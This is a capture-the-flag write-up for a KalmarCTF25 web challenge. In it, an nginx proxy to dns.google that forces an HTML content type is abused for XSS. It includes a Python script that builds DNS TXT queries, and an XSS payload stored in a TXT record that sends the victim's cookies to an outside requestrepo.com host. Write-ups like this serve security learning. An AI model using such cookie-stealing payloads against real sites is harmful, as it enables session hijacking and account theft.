DNXSS-over-HTTPS
hofill
KalmarCTF25
web
xss
dns
proxy
Flag
kalmar{that_content_type_header_is_doing_some_heavy_lifting!_did_you_use_dns-query_or_resolve?}
Summary
DNS XSS through a proxy that returns every result as HTML. Used TXT record for payload.
Details
We are given an nginx config:
events {
worker_connections 1024;
}
http {
server {
listen 80;
location / {
proxy_pass https://dns.google;
add_header Content-Type text/html always;
}
location /report {
proxy_pass http://adminbot:3000;
}
}
}
We notice that the entire service is a proxy to dns.google, but it also adds the header Content-Type text/html always. Therefore, we can send a raw DNS query to dns.google/dns-query, which will return us the answer — also in DNS wire format, encoded in binary.
Therefore, we created the following script:
import base64
import struct
import requests
URL = "caca.mty6sg3u.requestrepo.com"
def create_dns_query():
transaction_id = b'\xab\xcd'
flags = b'\x01\x00'
qdcount = b'\x00\x01'
ancount = b'\x00\x00'
nscount = b'\x00\x00'
arcount = b'\x00\x00'
query_name = b''.join(struct.pack('B', len(part)) + part.encode() for part in URL.split('.')) + b'\x00'
qtype = b'\x00\x10' # TXT record
qclass = b'\x00\x01' # IN
dns_query = transaction_id + flags + qdcount + ancount + nscount + arcount + query_name + qtype + qclass
return dns_query
def encode_base64_no_padding(data):
return base64.b64encode(data).decode().rstrip('=')
def parse_dns_response(response):
if not isinstance(response, bytes):
response = response.encode()
transaction_id = response[:2]
flags = struct.unpack("!H", response[2:4])[0]
qdcount, ancount, nscount, arcount = struct.unpack("!HHHH", response[4:12])
offset = 12
while response[offset] != 0:
offset += 1
offset += 5
answers = []
for _ in range(ancount):
offset += 2
rtype, rclass, ttl, rdlength = struct.unpack("!HHIH", response[offset:offset+10])
offset += 10
if rtype == 16: # TXT record
ip_address = ".".join(map(str, response[offset:offset+4]))
answers.append(ip_address)
offset += 4
print("TXT Records:", answers)
return answers
if __name__ == "__main__":
dns_query = create_dns_query()
base64_encoded = encode_base64_no_padding(dns_query)
burp0_url = "https://dns.google/dns-query"
r = requests.get(burp0_url, params={'dns': base64_encoded})
if r.status_code == 200:
parse_dns_response(r.content)
else:
print("Error:", r.status_code, r.text)
Using requestrepo’s DNS feature, we set a TXT record to:
<script>document.location='https://mty6sg3u.requestrepo.com/?c=' + btoa(document.cookie)</script>
We report the URL and we get the flag.
Since it converted everything to
HTML, we could’ve also just used the/resolveendpoint, which returns JSON.